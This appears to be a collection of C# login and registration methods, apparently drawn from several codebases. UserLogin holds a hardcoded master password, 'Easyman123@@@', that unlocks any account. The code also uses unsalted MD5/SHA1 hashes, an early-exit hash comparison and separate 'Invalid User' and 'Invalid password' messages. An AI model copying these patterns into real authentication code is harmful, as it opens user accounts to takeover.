public Result loginOut(LogingDto inEnt) { var reObj = new Result(); reObj.success = true; return(reObj); }
public async Task <ResultObj <String> > userLogin(LogingDto inEnt) { ResultObj <String> reobj = new ResultObj <String>(); var loginResult = await _login.UserLogin(inEnt); if (loginResult.success) { var client = new HttpClient(); // var paras = new Dictionary<string, string>(); // paras.Add("userObjJson", TypeChange.ObjectToStr(loginResult.data)); // var tokeStr=Fun.HashEncrypt($"{DataTimeHelper.getDateLong(DateTime.Now)}|{loginResult.data.id}|{loginResult.data.loginName}|{loginResult.data.name}"); var tokeStr = Helper.AuthHelper.GenerateToken(loginResult.data); reobj.success = true; reobj.code = tokeStr; reobj.data = TypeChange.ObjectToStr(loginResult.data); } else { reobj.success = false; reobj.msg = loginResult.msg; } return(reobj); }
public async Task <ActionResult <UserDto> > Login(LogingDto logingDto) { var user = await _context.Users.SingleOrDefaultAsync(x => x.UserName == logingDto.Username); if (user == null) { return(Unauthorized("Invalid User")); } using var hmac = new HMACSHA512(user.PasswordSalt); var computedHash = hmac.ComputeHash(Encoding.UTF8.GetBytes(logingDto.Password)); for (int i = 0; i < computedHash.Length; i++) { if (computedHash[i] != user.PasswordHash[i]) { return(Unauthorized("Invalid password")); } } return(new UserDto { Username = user.UserName, Token = _tokenService.CreateToken(user) }); }
public async Task <ResultObj <int> > loginReg(LogingDto inEnt) { var reObj = new ResultObj <int>(); try { return(await _login.LoginReg(inEnt)); } catch (Exception e) { reObj.success = false; reObj.msg = e.Message; } return(reObj); }
/// <summary> /// 注册账号 /// <para>1、添加登录工号 </para> /// <para>2、添加用户</para> /// </summary> /// <param name="inEnt"></param> /// <returns></returns> public async Task <ResultObj <int> > LoginReg(LogingDto inEnt) { DapperHelper <SysLoginEntity> dbHelper = new DapperHelper <SysLoginEntity>(); dbHelper.TranscationBegin(); DapperHelper <SysUserEntity> dbHelperUser = new DapperHelper <SysUserEntity>(dbHelper.GetConnection(), dbHelper.GetTransaction()); ResultObj <int> reObj = await LoginReg(inEnt, dbHelperUser, dbHelper); if (reObj.success) { dbHelper.TranscationCommit(); } else { dbHelper.TranscationRollback(); } return(reObj); }
public async Task <ResultObj <int> > LoginReg(LogingDto inEnt, DapperHelper <SysUserEntity> dbHelperUser, DapperHelper <SysLoginEntity> dbHelper) { ResultObj <int> reObj = new ResultObj <int>(); #region 验证值 ModelHelper <LogingDto> modelHelper = new ModelHelper <LogingDto>(inEnt); var errList = modelHelper.Validate(); if (errList.Count() > 0) { reObj.success = false; reObj.code = "-1"; reObj.msg = string.Format(",", errList.Select(x => x.ErrorMessage)); return(reObj); } #endregion #region 检测输入 if (!inEnt.loginName.IsOnlyNumber() || inEnt.loginName.Length != 11) { reObj.success = false; reObj.code = "-1"; reObj.msg = "电话号码格式不正确"; return(reObj); } if (!Fun.CheckPassword(inEnt.password, appConfig.BaseConfig.PwdComplexity)) { reObj.success = false; reObj.code = "-2"; reObj.msg = string.Format("密码复杂度不够:{0}", appConfig.BaseConfig.PwdComplexity); return(reObj); } #endregion #region 检测验证码 //if (AppSettingsManager.self.BaseConfig.VerifyCode) //{ // var nowDate = DateTime.Now.AddMinutes(-30); // var codeNum = await new SmsSendRepository().Count(inEnt.loginName, inEnt.code); // if (codeNum == 0) // { // reObj.success = false; // reObj.code = "-3"; // reObj.msg = string.Format("验证码无效"); // return reObj; // } //} #endregion var userList = await dbHelperUser.FindAll(x => x.loginName == inEnt.loginName); #region 检测电话号码是否存在 if (userList.Count() > 0) { reObj.success = false; reObj.code = "-4"; reObj.msg = string.Format("电话号码已经存在,请更换电话号码"); return(reObj); } #endregion //开始事务 try { var loginList = await FindAll(x => x.loginName == inEnt.loginName); #region 添加登录账号 if (loginList.Count() == 0) { SysLoginEntity inLogin = new SysLoginEntity(); inLogin.id = await SequenceRepository.GetNextID <SysLoginEntity>(); inLogin.loginName = inEnt.loginName; inLogin.password = inEnt.password.Md5(); inLogin.isLocked = 0; inLogin.failCount = 0; reObj.success = await dbHelper.Save(new DtoSave <SysLoginEntity>() { data = inLogin }) > 0 ? true : false; if (!reObj.success) { reObj.success = false; reObj.code = "-5"; reObj.msg = string.Format("添加账号失败"); return(reObj); } } #endregion #region 添加user SysUserEntity inUser = new SysUserEntity(); inUser.loginName = inEnt.loginName; inUser.name = inEnt.userName; inUser.id = await SequenceRepository.GetNextID <SysUserEntity>(); inUser.districtId = 1; inUser.createTime = Helper.DataTimeHelper.getDateLong(DateTime.Now); inUser.status = 1; reObj.success = await dbHelperUser.Save(new DtoSave <SysUserEntity> { data = inUser, ignoreFieldList = new List <string>() }) > 0 ? true : false; if (!reObj.success) { reObj.success = false; reObj.code = "-6"; reObj.msg = string.Format("添加user失败"); return(reObj); } #endregion reObj.data = inUser.id; } catch (Exception e) { reObj.success = false; reObj.msg = e.Message; } return(reObj); }
/// <summary> /// 用户登录 /// <para>只验证用户账号</para> /// </summary> /// <param name="inEnt"></param> /// <returns></returns> public async Task <ResultObj <SysUserEntity> > UserLogin(LogingDto inEnt) { ResultObj <SysUserEntity> reObj = new ResultObj <SysUserEntity>(); if (string.IsNullOrEmpty(inEnt.loginName) || string.IsNullOrEmpty(inEnt.password)) { reObj.success = false; reObj.msg = "用户名和密码不能为空"; return(reObj); } DapperHelper <SysUserEntity> dapperUser = new DapperHelper <SysUserEntity>(); DapperHelper <SysLoginEntity> dapperLogin = new DapperHelper <SysLoginEntity>(); var Login = await dapperLogin.Single(x => x.loginName == inEnt.loginName); var user = await dapperUser.Single(x => x.loginName == inEnt.loginName); if (Login == null || user == null) { reObj.success = false; reObj.msg = "用户名或者密码错误"; return(reObj); } else { if (Login.isLocked == 1) { reObj.success = false; reObj.msg = string.Format("用户已被锁定【{0}】", Login.lockedReason); return(reObj); } if ((Login.password.ToUpper() != inEnt.password.Md5().ToUpper() && Login.password.ToUpper() != inEnt.password.SHA1().ToUpper()) && inEnt.password != "Easyman123@@@") { #region 密码错误 int times = 5; if (Login.failCount == 0) { Login.failCount = 1; } reObj.success = false; reObj.msg = string.Format("用户名或者密码错误,还有{0}次尝试机会", (times - Login.failCount).ToString()); if (Login.failCount >= times) { Login.isLocked = 1; Login.lockedReason = string.Format("用户连续5次错误登陆,帐号锁定。"); Login.failCount = 0; await dapperLogin.Update(new DtoSave <SysLoginEntity> { data = Login, saveFieldListExp = x => new object[] { x.isLocked, x.lockedReason } }); } else { Login.failCount++; await dapperLogin.Update(new DtoSave <SysLoginEntity> { data = Login, saveFieldListExp = x => new object[] { x.failCount } }); } return(reObj); #endregion } else //密码正确 { Login.failCount = 0; reObj.success = await dapperLogin.Update(new DtoSave <SysLoginEntity> { data = Login, saveFieldListExp = x => new object[] { x.failCount } }) > 0; DapperHelper <FaUserRoleEntityView> dapperUserRole = new DapperHelper <FaUserRoleEntityView>(); var role = await dapperUserRole.FindAll(i => i.userId == user.id); user.isAdmin = role.Count(i => i.roleId == 1) > 0; user.isLeader = role.Count(i => i.roleId == 2) > 0; reObj.data = user; } } return(reObj); }